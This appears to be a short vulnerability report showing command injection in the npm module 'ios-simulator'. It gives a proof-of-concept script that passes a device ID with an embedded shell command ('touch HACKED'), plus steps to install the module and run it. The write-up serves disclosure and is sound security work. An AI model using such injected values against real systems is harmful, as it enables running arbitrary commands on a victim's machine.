The issue occurs because a
user input is formatted inside a
command that will be executed without any check.
// poc.js var ios = require("ios-simulator"); ios.prototype.setDeviceId('test"; touch HACKED; #'); ios.prototype.install();
Check there aren't files called
Execute the following commands in another terminal:
npm i ios-simulator # Install affected module node poc.js # Run the PoC
HACKEDhas been created